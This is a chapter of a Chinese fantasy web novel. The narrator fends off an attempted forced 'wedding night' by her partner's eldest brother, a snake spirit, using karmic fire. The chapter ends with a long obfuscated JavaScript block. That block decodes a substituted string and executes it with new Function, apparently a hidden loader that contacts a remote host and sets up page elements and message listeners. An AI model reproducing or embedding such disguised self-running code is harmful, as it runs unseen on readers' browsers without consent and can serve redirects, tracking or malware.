蛇尾粗壮有力,卷着我跟卷只小鸡仔似的,我看着柳君乾那双邪肆的竖瞳,心里直发毛。
眼前这个男人跟之前柳璟琛和我描述的完全不一样。
在柳璟琛的口中,他的大哥是一个忍辱负重的谦谦君子,他待人温和有礼,做事进退有度,从不轻言放弃,即使被自己的亲生父亲磋磨那么多年,仍然将族内的事物打理得井井有条。
他是被当做他们这一支的继承人来培养的啊!
可现在他怎么变成了这样?
到底是柳璟琛之前认识的那个大哥都是假象,还是这一百年间发生了什么重大变故,导致柳君乾变成了这样?
“好看吗?”柳君乾戏谑的声音响起,“蓁蓁竟如此垂涎为夫的美色吗?”
我:“……”
他笑:“蓁蓁喜欢就好。”
“……”
喜欢你个大头鬼啊!
“春宵苦短,蓁蓁,我们洞房吧。”
“???”
什么!
我没听错吧,青天白日的,在这深潭之下,他竟要跟我洞房?
我冲他怒吼:“柳君乾,你清醒一点,我是你三弟柳璟琛的女人,我们连孩子都有了,我警告你对我放尊重一点,否则,柳璟琛不会放过你的!”
“瑾琛?”柳君乾不屑地一笑,“一个断了尾巴尖,真身不全的家伙,这辈子也就那样了,你拿他跟我比?”
这一点,之前柳母也跟我说过。
柳璟琛的尾巴尖,是小时候被柳母亲手断掉的,他至今都不知道这件事情。
不过对于他来说,他修炼路上的困境,远不止这一点。
一提到这事儿,我就心疼柳璟琛。
我心里憋着一肚子的火气,这一刻达到了顶峰。
不管眼前这个家伙到底是怎么了,我当时只有一个念头——不能让他真的对我做出那样的事情来!
我闭了闭眼,无视那双充满欲望与邪念的竖瞳,默默地将真气提起,直冲眉心之间。
当初柳璟琛为我开天骨之时,意外发掘了我灵识控物的能力,只是后来我一直没有突破,修炼水平也几乎没有,所以也爆发不出什么惊人的控物效果来。
但今天,到了这样的关头,我不得不孤注一掷。
当眉心之间像火灼一般的热起来的时候,我心中狂喜。
我在心里默念法咒,猛地睁开眼睛,直视柳君乾的竖瞳。
一团幽绿色的火焰从我的眉心之间嗖地一下飞出来,直冲柳君乾的眉心。
柳君乾下意识地躲了一下,我却控制着那团火嗖地一下回转,反冲向卷着我的蛇尾。
绿色的火焰没进漆黑的蛇尾之中,蛇尾像是被烫到了似的,竟一下子松开了我。
我重重地跌落在地,却不敢有丝毫停留,一个翻身爬了起来,再转身看向柳君乾的时候,就看到他靠坐在石壁上,苍白着脸色,满头冷汗。
剑眉紧皱,竖瞳里的血红色忽明忽暗,死死盯着自己的尾巴。
之前我就见识过,这条黑色的蛇尾并不是真正意义上的实体,有时候也像烟雾一般。
而此事,蛇尾黑色的鳞甲缝隙里闪烁着幽绿色的光。
那种感觉就像是……有一团幽绿色的火从蛇尾的内部烧起来了一般。
柳君乾痛苦地嘶嘶着,可能是太痛了的缘故,他额头上的青筋都高高地鼓了起来,两只手握成了拳头,极力的隐忍着。
我站在他的对面,警惕地盯着他,不敢上前,害怕又被他突然反击。
更让我奇怪的一点就是,那个蛇皮女一直就站在旁边不远处,空洞的眼睛一直看着我们这边,却没有出手教训我的意思。
并且在蛇尾闪出幽绿色光亮的时候,她似乎还默默地往后退了一步。
她也怕这团幽绿色的火焰。
时间一分一秒地流逝,我们仨就在这样奇怪的氛围里,保持着各自原有的姿势足有三分多钟。
直到柳君乾竖瞳中的血色渐渐褪去,他痛苦地呻吟出声:“业……业火……”
“你……你竟然能控制业火……呵呵,呵呵……”
他闭上眼睛,昂起脑袋,修长的脖子往后仰去,低低地嘶吼着,旁边站着的蛇皮女连连后退,即使她的眼睛是空洞的,我都能感受到里面无尽的恐惧。
当时那种情景,说不怕是假的。
柳君乾就像是血月之夜要变身的狼人似的,我好不容易完成了一次灵识控物,根本不能确定自己是否还能在短时间内再爆发一次。
就在我试探着悄无声息地往后退着的时候,柳君乾忽然抬手,手心朝向蛇皮女,整个空间里瞬间阴风吼吼,我只听到蛇皮女一声痛苦的尖叫,之后……
之后她的整个脑袋就被撕扯开来,菲薄的蛇皮再次被打碎,一片片地被阴风卷着直往黑色蛇尾包裹而来。
我震惊地看着眼前的一幕,惊得我都说不出话来了。
我眼睁睁地看着蛇皮女的脑袋、脖子、肩膀……一直到心口,小半截身子的蛇皮全都被柳君乾的黑色蛇尾吸走,紧紧地贴在蛇尾上,然后慢慢被融合。
黑色蛇尾的缝隙被填满,幽绿色的火焰终于看不见了,柳君乾才收回手,脸色惨白地瘫坐在那儿,气喘吁吁地倒抽着冷气。
旁边站着的半截蛇皮女爆裂开来,无数的蛇皮散开又重新黏合起来,只是这一次比之前看起来更加透明了,风一吹就东倒西歪的晃动着。
又过了好一会儿,柳君乾才虚弱地叫了我一声:“蓁蓁,现在是什么时辰了?”
“啊?”我不明白他为什么这样问,估算了一下说道,“大概得有五六点了吧。”
“时间不多了。”柳君乾艰难地说道,“你必须在八点之前离开,否则……否则我怕自己真的会犯错。”
不知道为什么,此刻的柳君乾给我的感觉,才是真正的他。
才是真正的,柳璟琛的大哥。
“过来。”柳君乾冲我招招手,“蓁蓁,你靠近一点。”
我一瞬不瞬地盯着他,我知道靠近过去可能会有危险,但通过我的观察,我明白只要他的竖瞳不变红,似乎就是正常的。
我内心挣扎了好一会儿,最终还是往前走了几步,在柳君乾身前蹲下。
柳君乾冲我笑了一下,然后伸手,一把握住了我的左手腕,手指扣住了蛇骨手串上的那枚印章……
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();